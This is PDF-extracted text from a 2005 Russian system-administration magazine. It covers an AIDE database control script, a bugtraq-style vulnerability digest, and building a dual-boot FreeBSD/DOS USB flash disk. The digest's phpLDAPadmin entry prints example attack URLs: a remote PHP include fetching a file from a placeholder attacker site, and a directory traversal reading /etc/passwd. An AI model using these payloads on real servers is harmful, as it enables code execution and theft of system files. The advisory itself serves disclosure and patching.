администрирование ле описания узлов, использованного в AIDEcontrol. Если значение параметра не изменено (а по умолчанию оно равно «--SET-HERE--»), скрипт прекращает работу. Затем скрипт пытается смонтировать Flash с последним поколением баз. Для этого должны быть выполнены все необходимые настройки, описанные в [1]. Если все сделано правильно, Flash должен монтироваться сразу же после установки. Это очень просто проверить – достаточно вставить Flash, и он должен смонтироваться в точку /mnt/umass (или любую другую, заданную в /etc/fstab). Так же, как и в AIDEStart, монтирование происходит в бесконечном цикле ожидания – пока нужное устройство не найдено среди смонтированных, можно будет увидеть только запрос на установку Flash. После успешного монтирования Flash выполняется запрошенная операция. Для операции инициализации базы загрузка с Flash не производится, иначе последняя база загружается с Flash в стандартное расположение и выполняется соответствующая операция. После выполнения операции можно просмотреть отчет (он отображается автоматически с помощью
30
less), после чего «новая» база будет переименована в «старую» (для init или update), у нее будет изменен владелец и права доступа на указанные в конфигурационном файле. Последнее, что сделает скрипт, – это размонтирует Flash, если не задан ключ, запрещающий это. Перед тем как размонтировать, в /tmp будут сброшены исполняемые файлы umount и camcontrol, потому что Flash будет недоступна, а пользоваться недоверенными исполняемыми файлами нельзя. Сброшенные umount и camcontrol размонтируют Flash и остановят устройство (скрипт анализирует список устройств и выбирает то, которое было на нужной нам точке монтирования). Остановка устройства нужна главным образом для того, чтобы погасить индикатор готовности на Flash, хотя это работает не на всех устройствах. После чего и собственно umount и camcontrol будут тоже удалены.
Возможные ошибки Наиболее сложной частью здесь является настройка USB для того, чтобы монтирование Flash происходило автоматически. Об этом подробно рассказано в [1].
Если монтирование Flash проходит успешно, то ошибиться практически негде. Единственная возможность – указать неверные пути в aidecontrol.conf. Пожалуйста, проверьте правильность написания, существования и наличия прав на данные каталоги (Кто сказал, что root может все? Попробуйте-ка удалить каталог с атрибутом schg при kern. securelevel=2 и выше).
Заключение Так все-таки можно обойтись без данного скрипта или нет? Конечно, можно, если все выполняемые здесь операции делать руками, помнить правильную последовательность и не ошибаться в ней. Данный скрипт – всего лишь «малая механизация» для того, чтобы освободить свою память для решения более важных задач. Ну и, разумеется, не следует оставлять Flash с базами где попало, в том числе и в рабочем столе. Например, я постоянно ношу ее при себе.
Литература: 1. Ачилов Р. Управляем удаленными базами AIDE. – Журнал «Системный администратор», №8, август 2005 г. – 48-53 с.
bugtraq Обход ограничений безопасности в опции SSLVerifyClient в mod_ssl
Множественные уязвимости в FreeRADIUS
Программа: mod_ssl версии до 2.8.24. Опасность: Средняя. Описание: Уязвимость существует в реализации аутентификации, основанной на сертификатах. Если значение опции SSLVerifyClient установлено в optional в глобальной конфигурации виртуального хоста, злоумышленник может обойти процесс аутентификации и получить неавторизованный доступ к ресурсам веб-сайта. URL производителя: www.modssl.org. Решение: Установите последнюю версию с сайта производителя: www.modssl.org/source/mod_ssl-2.8.24-1.3.33.tar. gz.
Программа: FreeRADIUS 1.0.4. Опасность: Средняя. Описание: 1. Ошибка при обработке переменных окружения в функции radius_exec_program() файла exec.c может вызвать переполнение стека и вызвать отказ в обслуживании системы. 2. Обнаружены ошибки Off-by-one в файлах token.c и sql_ unixodbc.c. Удаленный пользователь может вызвать отказ в обслуживании приложения. 3. Переполнение стека в модуле xlat.c при обработке ответов от сервера может позволить злоумышленнику вызвать отказ в обслуживании. 4. Утечка памяти возможна из-за ошибки в функции strftime() в файле xlat.c. 5. Раскрытие данных Ldap в модуле rlm_ldap.c позволяет злоумышленнику с помощью специально сформированного LDAP-запроса получить доступ к потенциально важной информации. URL производителя: www.freeradius.org. Решение: Установите исправление, доступное по cvs.
Уязвимость состояния операции в Squid Программа: Squid 2.5 и более ранние версии. Опасность: Средняя. Описание: Уязвимость обнаружена при обработке остановленных запросов в файле store.c. При определенных обстоятельствах удаленный пользователь может прервать запрос и вызвать отказ в обслуживании приложения с ошибкой «e->store_status == STORE_PENDING». URL производителя: www.squid-cache.org. Решение: Установите исправление с сайта производителя: http://www.squid-cache.org/Versions/v2/2.5/bugs/ squid-2.5.STABLE10-STORE_PENDING.patch.
Отказ в обслуживании в Symantec Brightmail AntiSpam Программа: Symantec Brightmail AntiSpam 6.0.2. Опасность: Средняя. Описание: Удаленный пользователь может создать e-mailсообщение, содержащее разветвленный zip-файл, что приведет к большому потреблению ресурсов для сканирования сообщения. Удаленный пользователь может послать специально сформированное сообщение, содержащее объект winmail. dat внутри MIME-файла, и вызвать отказ в обслуживании приложения. URL производителя: www.symantec.com. Решение: Установите исправление с сайта производителя: ftp://ftp.symantec.com/public/english_us_canada/products/ sba/sba_60x/updates/patch157.zip.
Отказ в обслуживании в Snort Программа: Snort 2.4.0 и более ранние версии. Опасность: Средняя. О п и с а н и е : Уя з в и м о с т ь с у щ е с т в у е т в ф у н к ц и и PrintTcpOptions() файла snort-2.4.0/src/log.c из-за ошибки в нулевом указателе разыменования. Удаленный пользователь может послать приложению TCP/IP-пакет со специально сформированной опцией TCP SACK и вызвать отказ в обслуживании. Успешная эксплуатация уязвимости требует, чтобы Snort был запущен с ключом -v. URL производителя: www.snort.org. Решение: Установите последнюю версию (2.4.1), доступную по CVS.
№9, сентябрь 2005
PHP-инклудинг в phpLDAPadmin Программа: phpLDAPadmin 0.9.6 – 0.9.7/alpha5. Опасность: Критическая. Описание: Уязвимость позволяет удаленному пользователю с помощью специально сформированного URL выполнить произвольный PHP-сценарий на целевой системе с привилегиями веб-сервера. Пример: http://[target]/[path]/phpldapadmin/welcome.php? custom _ welcome _ page=http ://[evil _ site]/cmd.gif
Удаленный пользователь может просмотреть произвольные файлы на системе с помощью символов обхода каталога. Пример: http://[target]/[path]/phpldapadmin/welcome.php? custom _ welcome _ page=../../../../../../../../etc/passwd
Удаленный пользователь может также выполнить произвольный HTML-сценарий в браузере жертвы в контексте безопасности уязвимого сайта. URL производителя: www.phpldapadmin.sourceforge.net. Решение: В настоящее время способов устранения уязвимости не существует.
Отказ в обслуживании в Microsoft Exchange Server 2003 Программа: Microsoft Exchange Server 2003. Опасность: Средняя. Описание: Уязвимость вызвана неопределенной ошибкой при обработке запросов для просмотра публичных папок. Удаленный пользователь может с помощью специально сформированного IMAP4-запроса аварийно завершить службу Microsoft Exchange Information Store (Store.exe). URL производителя: www.microsoft.com. Решение: Установите исправление с сайта производителя.
Составил Александр Антипов
31
администрирование
СОЗДАЕМ ЗАГРУЖАЕМЫЙ FLASH-ДИСК С Free reeBSD BSD И DOS ЧАСТЬ I
РАШИД АЧИЛОВ Начальство признало необходимость установки нового сервера, подписало счета, выделило деньги – вот он, красавец! Вот только... как на него поставить FreeBSD? Дисковода нет, CD-ROM отсутствует, из стойки не вытащить... Да и оборудование бы проверить. Остается одно – загрузить с USB.
Наша цель – загрузиться с Flash Поначалу задача казалась настолько несложной, что даже мысли писать об этом не возникало. Ну подумаешь, поставить систему на компьютер, в котором нет ни дисковода гибких дисков, ни CD-ROM, а жесткие диски в нем установлены вертикально, чтобы больше поместилось. К тому же он будет постоянно установлен в стойке и вы-
32
таскивать его надолго оттуда нельзя (а иначе что это за сервер?). Ведь современные компьютеры умеют грузиться с Flash. Нет такой Flash? Ну что ж, надо сделать... И не забыть при этом, что временами возникает необходимость тестирования жестких дисков, сетевых карт, xDSL-модемов и прочего оборудования на самом нижнем уровне. А какая операционная система позволит это сделать? Правильно, только
MS-DOS. Нужен непосредственный доступ к оборудованию. В *NIX такое может быть обеспечено драйвером, но где вы видели драйвер, который позволяет напрямую пропустить команды канала? Значит, надо предусмотреть на Flash-диске наличие MSDOS, а также менеджер загрузок, который позволил бы выбрать при старте одну из этих систем. Причем это должен быть не стандартный для FreeBSD
администрирование BootEasy, который своим аскетичным внешним видом способен испугать кого угодно.
Это не Frenzy. И не FreeSBIE. Это FlashBOOT! Сообщество эхо-конференции RU.UNIX.BSD откровенно недоумевало, когда я сказал о том, что собираюсь сделать. Отзывы были примерно такими: «это все ерунда, уже есть Frenzy, которая умеет грузиться с Flash, уже есть FreeSBIE, которая с версии 2.0 сможет загружаться с любого носителя, а DOS – так он вообще никому уже не нужен». Любопытно, что про то, что DOS никому не нужен, говорили люди, для которых замена жесткого диска, как правило, дешевле ремонта. Или же люди, не представляющие себе, что можно сделать с помощью, например, MHDD. На что я неизменно отвечал, что этот проект разрабатываю для себя, если кому-то он понравится – хорошо, нет – и не надо. Итак, что же входит в состав Flash-BOOT и чем он отличается от Frenzy (FreeSBIE в настоящий момент еще не умеет грузиться с Flash и, по причинам, приведенным выше, не рассматривается). «Frenzy – это «портативный инструмент системного администратора», LiveCD на базе ОС FreeBSD, загрузившись с которого, администратор получает полностью работоспособную систему с набором программного обеспечения для настройки, проверки и анализа сети, тестирования компьютерного «железа» и ряда других задач» – это описание Frenzy взято с [1]. После ознакомления со списком программ, входящих во Frenzy, я сразу же задался вопросом: «А для чего все это?». После некоторого более пристального изучения возник и ответ: «Так это же LiveCD на Flash, а вовсе не то, что мне нужно!» Какие цели преследует Frenzy? Как и любой другой LiveCD – загрузиться и предоставить пользователю максимально возможное количество программ для работы. Отсюда и графическая среда, и почтовые клиенты, и разнообразные коммуникаторы – список программ, входящих во Frenzy, достаточно впечатляющий. Несомненно, это все нужные вещи. Но как с их помощью проверить целостность файловой базы? AIDE, которая по моему мнению, нужнее, чем все графические менеджеры, вместе взятые, я не нашел. Наличие программ стандартной поставки (fdisk, disklabel, sysinstall, etc.) на сайте не оговаривается, дистрибутив мне скачивать не захотелось – жаль тратить «на посмотреть» 600 Мб вовсе не бесплатного трафика. Скорее всего их нет – в состав Frenzy входит множество программ, нужно же где-то взять для них место. То есть установить FreeBSD на новый компьютер с его помощью невозможно. Наличие стандартной документации на программы (все мы люди, ну вот вылетели у меня из головы ключи некоей программы – где посмотреть, если сервера нет, связи нет и спросить не у кого?) опять же не оговаривается, скорее всего их тоже нет. Создание собственного дистрибутива Frenzy – вещь отнюдь не тривиальная, автор об этом честно предупреждает, под FreeBSD 5.х создать дистрибутив Frenzy невозможно, потому что используется burncd для записи образа. Все вышеприведенное было сказано вовсе не с целью как-то преуменьшить заслуги автора Frenzy – «ведь если звезды зажигают, значит, это кому-нибудь нужно». Цель вы-
№9, сентябрь 2005
шеизложенного – показать, что Frenzy и FlashBOOT создавались для решения разных задач. FlashBOOT – это не комплект программ для работы, это комплект аварийно-восстановительный с возможностью установки системы на новый компьютер, что-то среднее между Install и Fixit-дисками из стандартной поставки FreeBSD. FlashBOOT в значительно большей мере рассчитан на тех, кто понимает, что он делает, потому что установка системы в нем производится не как обычно, «не выходя из sysinstall», а по большей части ручным вводом команд. Да, это не модно. Да, это сложнее, чем обычно. Но это работает. В нем нет и скорее всего никогда не будет никаких графических сред. В нем есть то, что необходимо для установки FreeBSD на новый компьютер, для тестирования аппаратной части, для проверки файловой целостности... и все, что входит в базовую поставку стандартной системы, перечислять здесь не имеет никакого смысла. А также все, что можно запустить в DOS. Итак, что же входит во FlashBOOT?
Состав FlashBOOT Отчет fdisk: # fdisk /dev/da0 ******* Working on device /dev/da0 ******* parameters extracted from in-core disklabel are: cylinders=246 heads=64 sectors/track=32 (2048 blks/cyl) parameters to be used for BIOS calculations are: cylinders=246 heads=64 sectors/track=32 (2048 blks/cyl) Media sector size is 512 Warning: BIOS sector numbering starts with sector 1 Information from DOS bootblock is: The data for partition 1 is: sysid 4 (0x04),(Primary DOS with 16 bit FAT (< 32MB)) start 63, size 48132 (23 Meg), flag 0 beg: cyl 0/ head 1/ sector 1; end: cyl 47/ head 12/ sector 63 The data for partition 2 is: sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD) start 48195, size 455612 (222 Meg), flag 80 (active) beg: cyl 47/ head 13/ sector 1; end: cyl 499/ head 12/ sector 59 The data for partition 3 is: <UNUSED> The data for partition 4 is: <UNUSED>
В качестве менеджера загрузки операционных систем используется программа, функционирующая под DOS – xFDisk, взятая с [2]. Программа была выбрана после долгой процедуры отбора менеджеров загрузки, способных: ! Загрузиться с Flash самим. Как это ни странно, это оказалось непосильной задачей для SyMon [3], Ranish Partition Manager (имеет встроенный менеджер загрузок [4]), XOSL [5] и MATTSoft Boot Manager [6]. ! Загрузить FreeBSD. Это оказалось не под силу симпатичному, но, увы, бесполезному zBoot [7]. Другими прошедшими тест на возможность использования для Flash оказались BootEasy и ExtIPL. Это неудивительно, потому что BootEasy – стандартный менеджер загрузок для FreeBSD, а ExtIPL присутствует в портах (sysutils/ extipl). Почему я использовал менеджер загрузок, настраиваемый под DOS, а не под FreeBSD (GRUB, например)? GRUB был установлен на первые версии FlashBOOT, но пос-
33
администрирование ле возникновения странных проблем, когда он неожиданно отказался ставиться в область загрузки, был заменен на xFDisk, тем более что переставить DOS значительно проще, чем FreeBSD (рис. 1).
Раздел DOS Стандартный загружаемый раздел формата FAT16 с установленной операционной системой MS-DOS 6.22. Операционная система размещена в каталоге DOS. Установлено следующее программное обеспечение: ! Dos Navigator (C:\DN149). ! Multi-Edit 7.0 (C:\ME70). ! Norton Utilites 8.0 (C:\NORTON8). ! Множество различных программ, работающих под DOS, разнообразного назначения. Архиваторы, конвертеры, отладчики, упаковщики, драйвера оборудования – все, что может осесть на диске после более чем пяти лет работы под DOS. (C:\UTILS и подкаталоги в нем). Создано множество вариантов загрузки – загрузка EMM, загрузка драйвера звуковой карты, загрузка драйвера CD-ROM и загрузка драйвера USB (да-да, это есть!) во всех возможных сочетаниях. Оболочка Dos Navigator установлена вместе с большой (порядка 60) коллекцией программ просмотра файлов различного формата. Записана программа тестирования дисков на нижнем уровне MHDD. Все это покрывает практически 90% задач, для которых используется DOS, а для остального всегда есть свободное место.
Раздел FreeBSD Отчет disklabel: # disklabel da0s2 # /dev/da0s2: 8 partitions: # size a: 455596 c: 455612
offset 16 0
fstype 4.2BSD unused
[fsize bsize bps/cpg] 2048 16384 28480 0 0 # "raw" part, don't edit
Отчет df: Filesystem 1K-blocks Used /dev/da0s1 23863 19237 /dev/da0s2a 220420 166856
Avail Capacity Mounted on 4626 81% /mnt/umass/dos 35932 82% /mnt/umass/ufs
Здесь разделы Flash-диска смонтированы на другом компьютере в точки монтирования /mnt/umass/dos и /mnt/ umass/ufs соответственно. Стандартный загружаемый раздел FreeBSD. Система устанавливалась при помощи /stand/sysinstall и частично вручную, без применения каких-либо скриптов. Установлены стандартные пакеты base, compat4x и man. Вручную добавлены следующие пакеты (все устанавливалось через порты): ! pcre 5.0 (требуется для nmap) ! libgpg-error 1.0 (требуется для libgcrypt) ! mc 4.6.0 ! mhash 0.9.1 (требуется для aide) ! aide 0.10 ! yui 3.1.15 ! libgcrypt 1.2.1 ! SSH2 3.2.9.1
34
Рисунок 1. Внешний вид менеджера загрузок xFDisk
! pkgconfig 0.17.2 (требуется для glib, mc) ! libiconv 1.9.2 (требуется для gettext, glib, mc, libgcrypt, libgpg-error)
! rar 3.41 ! gettext 0.14.5 (требуется для glib, mc, libgcrypt, libgpg! ! ! ! ! !
error) glib 2.6.5 (требуется для mc) unzip 5.52 nmap 3.81 libslang 1.4.9 (требуется для mc) ncftp 3.1.9 grub 0.97
Для экономии места удалены все каталоги языковых настроек (удалено все, не относящееся к русскому или английскому). Это /usr/share/locale, /usr/local/share/locale. Почищены все каталоги поддержки национальных языков (/usr/ share/nls, /usr/local/share/nls). Удалены каталоги с документацией о системе /usr/share/doc, /usr/share/info. Скачать образ Flash, упакованный RAR 3.41, можно здесь – http://support.spectrum.ru/freebsd/dosandfreebsd54.rar. Контрольная сумма MD5 равна: MD5 (dosandfreebsd54.rar) = 732ada4b8bc98a0251cfe3682c160a62. Ядро собрано с оптимизацией под Pentium III (на более старых компьютерах нет возможности загружаться с USB). Зарегистрирован только один пользователь root, который может заходить в систему без запроса пароля. Это было настроено с помощью PAM. Сетевая карта при старте системы не настраивается, это необходимо каждый раз делать вручную. Сделано это специально, потому что FlashBOOT – дистрибутив аварийно-восстановительный, и если он используется – значит произошло что-то нестандартное. По этой же причине не запускается ни один сетевой сервис. Впрочем, никто не помешает вам перенастроить систему по своему вкусу.
Создание Разнообразных ошибок при попытках создания двух разделов и менеджера загрузок было столько, что я просто не знал, за какую из них браться. Первоначальный порядок действий при создании Flash был примерно такой: ! Создать раздел FAT16 и отформатировать его. ! Установить загрузчик и ядро операционной системы DOS.
администрирование ! Установить менеджер загрузок. ! Создать раздел (слайс) FreeBSD, корневой раздел фай-
ловой системы и отформатировать его (асинхронное обновление должно быть отключено – мигнёт свет при загрузке, и прощайте внесенные изменения. ! Проверить, что загружается и DOS, и FreeBSD. ! Установить и настроить программное обеспечение обеих систем. Несложный план, скажете вы. Не тут-то было. Проблемы были во всем, от установки менеджера загрузок до настройки софта. Больше всего проблем, конечно же, вызвало создание раздела FAT16 – ни тривиальными, ни нетривиальными средствами сделать это сначала просто не удавалось, потому что: ! с FAT-раздела, создаваемого во FreeBSD через /stand/ sysinstall, а также через «fdisk -e», DOS грузиться категорически отказывался. Да, его можно было увидеть через USB for DOS при загрузке с дискеты, но команда sys c: завершалась аварийно. После нескольких попыток я отказался от практики создания разделов FAT во FreeBSD, так как заподозрил, что раздел FAT создается «немножко не такой», каким хотел бы его видеть загрузчик BIOS. ! Flash 2.0 объемом 256 Мб, на которой предполагалось все это создать (Kingston DataTraveler 2.0), в Windows определяется как съемный носитель и соответственно не может быть размечен средствами программ работы с разделами жесткого диска типа Acronis Disk Director или Partition Magic. Выход из положения был найден, когда я обнаружил, что другая, более старая Flash 1.1 128 Мб (Seitek BAR) определяется Windows как жесткий диск. С помощью Acronis Disk Director на этой Flash был создан раздел FAT16 размером 23 Мб, DOS загружен с дискеты с драйверами USB for DOS и вновь созданный раздел был сделан загрузочным командой «sys a: c:». После этого я убедился, что DOS с этой Flash загружается, и скопировал ее начало (загрузчик, таблицу разделов, FAT и только что созданные системные файлы). Копировать все 23 Мб не было необходимости, поскольку нужная информация о файловой системе сосредоточена исключительно в FAT. Образ был создан следующей командой: # dd if=/dev/da0 of=seitek2000.dsk count=2000
Файл образа, упакованный RAR 3.41, можно скачать по ссылке [8]. После его записи на Flash командой, например: # dd if=seitek2000.dsk of=/dev/da0
получится Flash с одним разделом DOS, в котором ничего нет, кроме ядра системы – io.sys, msdos.sys и command.com. Менеджера разделов тоже нет. Надо сказать, что в процессе создания Flash именно этот файл не раз оказывал мне неоценимую помощь – неоднократно приходилось возвращаться к началу и заново разворачивать его на Flash. От-
№9, сентябрь 2005
чет fdisk по этому файлу можно скачать по ссылке [9]. Обратите внимание, что значения начала и конца раздела выражены другими цифрами, хотя обьем тот же самый. Ниже приводятся данные о разделе, созданном с помощью Acronis Disk Directory Suite в Windows. The data for partition 1 is: sysid 4 (0x04),(Primary DOS with 16 bit FAT (< 32MB)) start 63, size 48132 (23 Meg), flag 80 (active) beg: cyl 0/ head 1/ sector 1; end: cyl 2/ head 254/ sector 63
Следующее действие заключалось в подборе менеджера загрузок, такого, чтобы он мог загрузиться с Flash сам и загрузить оттуда FreeBSD. В начале статьи уже перечислены менеджеры загрузок, которые были мной испытаны и проверка которых дала отрицательный результат. Первым был проверен BootEasy, являющийся стандартным менеджером загрузок для FreeBSD – дубовым, страшненьким и абсолютно надежным. Разумеется, он заработал. После установки BootEasy первым делом был создан образ области загрузчика (первые 63 сектора Flash) для восстановления работоспособности системы во время экспериментов с загрузчиками. Образ с загрузчиком BootEasy и двумя разделами (DOS и FreeBSD) можно скачать по ссылке [10]. Отчет fdisk по этому образу можно скачать по ссылке [11]. Образ с загрузчиком xFDisk (внешний вид которого приведен на рис. 1) и двумя разделами (DOS и FreeBSD) можно скачать по ссылке [12]. Отчет fdisk по этому образу можно скачать по ссылке [13]. SyMon, проверенный первым, не увидел ни одного раздела, программа настройки в версии 2.х отказалась запуститься, в версии 3.х захотела только создать новый раздел. Ranish, XOSL и MATTSoft не смогли загрузиться – процесс загрузки зависал сразу после появления идентификационной надписи менеджера загрузок. Особенно обидно было за Ranish – очень симпатичный менеджер разделов. Потом был обнаружен zBoot, который наконец-то смог загрузиться, а также ExtIPL и xFDisk. После установки менеджера загрузок (в тот момент им был zBoot) с помощью менеджера разделов Ranish Partition Manager был создан раздел для FreeBSD. Почему для создания раздела не использовалась стандартная для FreeBSD программа /stand/sysinstall? Возникло подозрение, что раздел для FreeBSD, создаваемый через sysinstall, тоже «немножко не такой», каким хотел бы его видеть менеджер загрузок. Ниже для сравнения приводятся несколько укороченные отчеты fdisk по разделам, созданным с помощью /stand/sysinstall и с помощью Ranish Partition manager. Раздел, созданный /stand/sysinstall: The data for partition 1 is: sysid 4 (0x04),(Primary DOS with 16 bit FAT (< 32MB)) start 63, size 48132 (23 Meg), flag 80 (active) beg: cyl 0/ head 1/ sector 32; end: cyl 23/ head 34/ sector 3 The data for partition 2 is: sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD) start 48195, size 455613 (222 Meg), flag 0 beg: cyl 23/ head 34/ sector 4; end: cyl 245/ head 63/ sector 32
35
администрирование Раздел, созданный Ranish Partiiton Manager: The data for partition 1 is: sysid 4 (0x04),(Primary DOS with 16 bit FAT (< 32MB)) start 63, size 48132 (23 Meg), flag 80 (active) beg: cyl 0/ head 1/ sector 1; end: cyl 2/ head 254/ sector 63 The data for partition 2 is: sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD) start 48195, size 455612 (222 Meg), flag 0 beg: cyl 3/ head 0/ sector 1; end: cyl 31/ head 91/ sector 59
Как совершенно очевидно, значения цилиндр-головкасектор отличаются, хотя размер разделов одинаковый. Более того, эти цифры отличаются и от тех, что приведены в начале статьи в плане разделов! Они изменяются, когда команда disklabel записывает загрузчик FreeBSD. На самом деле, конечно же, все эти цифры условные. На Flash нет никаких цилиндров, головок и тому подобных вещей. Вся эта терминология идет от жестких дисков и оставлена для совместимости. Поэтому неудивительно, что все работает, несмотря на изменения цифр. Как это ни странно, нормальный раздел FreeBSD через программу /stand/sysinstall создать не удалось – как только создавался раздел программой sysinstall, так при следующей загрузке что-то непременно ломалось – переставал грузиться или DOS, или сам менеджер загрузок. Поэтому в следующей попытке раздел под FreeBSD был создан с помощью Ranish Partition Manager. Поскольку Ranish не может напрямую создать раздел FreeBSD, можно создать раздел любого типа, а потом отредактировать его тип. Тип раздела FreeBSD – 165 (при редактировании Ranish дает список типов, из которого следует выбрать нужный). Для тех, кто не хочет сам создавать разделы, существует файл xfidskboot.rar, ссылка на который приведена выше. Он содержит два раздела с правильными значениями (образ снимался уже после установки FreeBSD). После создания раздела FreeBSD раздел DOS был заполнен программным обеспечением и началась установка FreeBSD. Здесь все тоже оказалось весьма непросто. Стандартная программа установки /stand/sysinstall хоть и имеет возможность изменения «корневого каталога установки», но не всегда этим параметром пользуется. Например, при установке пароля root, независимо от значения этого параметра, меняется пароль в /etc/master.passwd. На самом деле работа /stand/sysinstall – это последовательность выполнения некоторых операций, которые можно выполнить и вручную. И, собственно, первый этап – создание раздела для установки FreeBSD – мы уже сделали. Здесь надо отметить, что в данном контексте «раздел» – термин DOS, а не FreeBSD. Во FreeBSD это называется слайсом (slice). Слайс – это мета-раздел, для него всегда резервируется буква «c», которая не может быть использована для других разделов (например, /dev/ad0s2c). Иногда этот раздел (здесь «раздел» – уже терминология FreeBSD) еще называют «описателем слайса», потому что он всегда описывает все выделенное в слайсе пространство. Но сейчас в нем еще ничего не записано. Первым делом мы создаем внутри слайса описатель (раздел s2c) и один раздел с точкой монтирования «/», который будет использоваться как корень файловой системы. Других разделов создавать не бу-
36
дем – диск и так не очень большой. Для создания разделов используем команду disklabel следующим образом: # disklabel -w /dev/da0s2
Здесь /dev/da0s2 – имя слайса, на который будет установлена FreeBSD. Слайс (в терминологии DOS «раздел») /dev/ da0s1 занят под DOS. Команда disklabel создала необходимые разделы. Но монтировать еще пока нечего, disklabel – это «fdisk для разделов FreeBSD». Это часто вызывает путаницу – как это, разделы внутри разделов? Несмотря на кажущуюся сложность, это очень удобно. Дело в том, что размер таблицы разделов (терминология DOS) не позволяет иметь более 4 разделов на одном диске. Ограничение это было введено еще во времена 20Мб жестких дисков и тогда казалось вполне разумным. Со временем оно переросло в стандарт, и, хотя уже давным-давно стало неудобным, от него не отказываются. Различные менеджеры загрузок обходят его, создавая свои таблицы разделов, которые несовместимы друг с другом. FreeBSD Team поступила просто – создается некий «мета-раздел», который был назван «слайсом», в котором находятся «разделы». Поэтому, сколько бы на самом деле не было файловых систем в слайсе FreeBSD, для менеджеров загрузок он выглядит всегда как один раздел. Почему мы опять не используем для создания разделов в слайсе /stand/sysinstall? Потому что мной было замечено, что при непосредственном создании разделов в слайсе через disklabel DEVFS создает устойство /dev/da0s2a, отражающее созданный раздел, а при создании разделов через /stand/sysinstall – создает почему-то /dev/da0s2d, несмотря на то что /dev/da0s2a не существует (а разделы создаются строго по порядку). Наконец раздел для FreeBSD создан. По умолчанию в нем отключено асинхронное обновление и отключено использование ACL. Проверить это можно в любое время командой tunefs: # tunefs -p /dev/da0s1a tunefs: tunefs: tunefs: tunefs: tunefs: tunefs: tunefs: tunefs: tunefs:
ACLs: (-a) disabled MAC multilabel: (-l) disabled soft updates: (-n) disabled maximum blocks per file in a cylinder group: (-e) 2048 average file size: (-f) 16384 average number of files in a directory: (-s) 64 minimum percentage of free space: (-m) 8% optimization preference: (-o) time volume label: (-L)
Каковы будут наши дальнейшие шаги:
! Создание файловой системы в разделе (через /stand/ sysinstall).
! Установка программного обеспечения, входящего в ба! ! ! ! ! !
зовую поставку (через /stand/sysinstall). Копирование каталога /stand. Установка загрузчика FreeBSD. Реконфигурация ядра, записываемого на Flash. Настройка конфигурационных файлов. Установка дополнительного софта. Настройка часового пояса (на загруженном Flash).
администрирование Предварительно на компьютере, на котором производится установка FreeBSD, на Flash необходимо создать точку (точки) монтирования для разделов DOS и FreeBSD. Допустим, эти точки монтирования созданы и называются /mnt/umass/dos для раздела DOS и /mnt/umass/ufs для раздела FreeBSD. Запускаем /stand/sysinstall, выбираем пункт «Do postinstall configuration of FreeBSD», затем «The disk Label editor», переводим курсор на da0, отмечаем его нажатием клавиши «пробел» и получаем экран FreeBSD Disklabel editor. Переводим курсор на строку da0s2a, нажимаем < M> и задаем точку монтирования, в которую будет смонтирована файловая система после ее создания. Данная точка монтирования может и не существовать, в этом случае она будет создана автоматически. Внимание! Здесь задается точка монтирования в текущей системе, а не та точка, в которую данная файловая система будет смонтирована при загрузке! Затем указываем, что файловая система требует создания (это может быть не определено автоматически), нажав <T> (в колонке Part буква «N» должна смениться на «Y»), убираем признак асинхронного кэширования при записи файлов, нажав <S> (в колонке Newfs вместо «UFS2+S» должно появится «UFS2») и нажимаем <W> для записи внесенных изменений на Flash. После того как sysinstall сообщит о том, что файловая система создана, она будет смонтирована в указанную точку. Если вдруг при запуске /stand/sysinstall после сообщения «Probing devices, please wait...» вдруг происходит аварийное завершение работы sysinstall с диагностикой «BARF 107 <157>» или подобным (числа могут отличаться) – значит, на одном из установленных жестких дисков уже созданы разделы, и sysinstall не смог правильно определить эти разделы. Обнаружить это можно также по наличию в каталоге /dev странных имен устройств типа ad0s1s1. Для того, чтобы не переставлять жесткий диск в другой компьютер, можно просто стереть таблицу разделов следующей командой: # dd if=/dev/zero of=/dev/da0 bs=512 count=63
Внимание! Цифры в выделенном фрагменте могут отличаться в зависимости от того, где установлен жесткий диск! Для создания файловой системы можно было бы использовать и непосредственно newfs. Задаем такую команду: # newfs -O2 /dev/da0s2a
При этом все прочие параметры будут установлены по умолчанию (на самом деле мне никогда не приходилось их править). Выходим из FreeBSD Disklabel editor (<Q>). Выбираем в меню «Install additional distribution sets». После выбора мы попадаем в меню «Select the distributions you wish to install». Выбираем (отмечаем нажатием клавиши «пробел») пакеты base, compat4x и man. Клавишей <Tab> переходим на <OK>, попадаем в меню «Choose installation
№9, сентябрь 2005
media». Здесь, прежде чем начать выбирать, что ставить, обязательно нужно изменить «корень инсталлируемой системы» – install root. Потом это сделать не будет возможности. В меню «Choose installation media» выбираем самый последний пункт «Go to the Option Screen», переводим курсор на пункт «Install root» (стрелкой вниз, по-другому не получится), нажимаем пробел, вводим «/mnt/umass/ufs» в появившееся окно и нажимаем <Q> для выхода обратно к «Choose installation media». Выбираем носитель, который содержит дистрибутив FreeBSD. Я рекомендую устанавливать или с существующей файловой системы («Install from an existing filesystem»), или с раздела DOS («Install from a DOS partition»). Инструкция о том, как разместить дистрибутив на разделе DOS, приводится в [15]. Почему? Запись на Flash идет медленно, если дистрибутив устанавливается, например, по FTP, то в зависимости от сервера соединение с ним будет время от времени прерываться, программа /stand/sysinstall будет выводить заново экран «Choose installation media». Это не страшно, после повторного ввода инсталляция продолжится заново, но очень надоедает. После выбора источника дистрибутива sysinstall может спросить «Running multi-user, network already configured?», отвечаем «Yes», начинается установка. Индикатор на экране отражает состояние установки каждого пакета. Установка выбранных пакетов может идти достаточно долго – один или даже несколько часов. Программа установки обязательно должна завершить работу и вернуться в меню «FreeBSD configuration». Если во время установки появляется экран «Choose installation media», значит, возник тайм-аут на соединении с носителем и необходимо еще раз указать все настройки. Это может происходить неоднократно, никак не влияя на процесс установки, но очень надоедает раза после третьего, и именно поэтому я советовал устанавливать с существующей системы или DOS-раздела. После завершения установки всех пакетов выходим из /stand/sysinstall. Теперь у нас есть вся базовая система полностью, в том числе GENERIC ядро, /boot и все, что необходимо для загрузки. Единственное, что не переносится при ручной установке – каталог /stand. Перенос каталога /stand выполняется следующей командой: # Þnd -x /stand | cpio -pdum /mnt/umass/ufs
где /mnt/umass – точка в которую был смонтирован раздел FreeBSD. На вашей системе она скорее всего будет другой. (Данная команда была взята из исходных текстов самой sysinstall). Теперь нужно установить загрузчик ядра FreeBSD на тот раздел («слайс»), в который инсталлирована FreeBSD. Делается это командой disklabel: # disklabel -B da0s2
